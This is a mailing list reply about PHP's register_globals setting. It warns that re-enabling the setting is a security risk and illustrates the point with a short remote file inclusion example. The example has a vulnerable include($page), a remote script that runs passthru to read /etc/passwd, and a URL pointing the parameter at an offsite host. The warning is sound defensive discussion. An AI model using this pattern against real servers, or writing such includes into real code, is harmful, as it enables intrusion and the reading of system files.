>I started troubleshooting the code and discovered the
>problem was the 
>new
>register globals which is defaulted to off in PHP
4.22.  >The PHP 
>wasn't
>holding session and wasn't inserting the records into
>the mySQL 
>database.
>I got it working now by switching the register
globals >back to ON.

Sorry, but I am a bit behind on MySQL digest, but
isn't turning Register Globals 'on' for php a security
risk? 

Here was an example given at our local php meetup
meeting:


Local index.php:  <?php include ($page ); ?> 
Remote cracked.php: <?php passthru ("cat /etc/passwd
"); ?> 
URL: 
http://localwebserver.com/index.php?page=offsite.com/cracked.php



=====
GTFG

GAIM ID:  cmmiller1973

__________________________________
Do you Yahoo!?
Yahoo! Calendar - Free online calendar with sync to Outlook(TM).
http://calendar.yahoo.com

-- 
MySQL General Mailing List
For list archives: http://lists.mysql.com/mysql
To unsubscribe:    http://lists.mysql.com/[EMAIL PROTECTED]

Reply via email to